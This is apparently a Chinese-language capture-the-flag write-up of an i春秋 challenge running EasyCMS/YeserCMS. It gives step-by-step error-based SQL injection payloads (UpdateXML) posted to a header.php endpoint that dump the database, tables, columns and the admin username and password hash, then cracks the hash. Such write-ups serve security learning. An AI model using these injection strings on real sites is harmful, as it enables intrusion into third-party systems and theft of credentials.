题目在i春秋ctf大本营
题目的提示并没有什么卵用,打开链接发现其实是easycms,百度可以查到许多通用漏洞
这里我利用的是无限报错注入
访问url/celive/live/header.php,直接进行报错注入
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(database())) ),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
继续POST,拿表
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
这里出现了一个尴尬的问题,显示的长度不够了,通过调整1,32的1来调整,这里因为里面的表实在太多了(也不知道大佬们是怎么精准定位yesercms_user的表的),接着跑一下字段
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(column_name) from information_schema.columns where table_name='yesercms_user'),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
最后爆用户密码:
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx%2527%252C%2528UpdateXML%25281%252CCONCAT%25280x5b%252Cmid%2528%2528SELECT%252f%252a%252a%252fGROUP_CONCAT%2528concat%2528username%252C%2527%257C%2527%252Cpassword%2529%2529%2520from%2520yesercms_user%2529%252C1%252C32%2529%252C0x5d%2529%252C1%2529%2529%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%2529--%2520</q></xjxquery>
这里md5的长度也不够,还是需要调整1,32来查看完整的md5
拿到账号密码admin|ff512d4240cbbdeafada404677ccbe61,解密后得到明文:Yeser231
登录admin账号来到后台管理界面,疯狂的寻找上传点,发现好像并没卵用,试着在文件中写一句话好像也并不能成功,看了wp,才知道在当前模板编辑处存在文件读取漏洞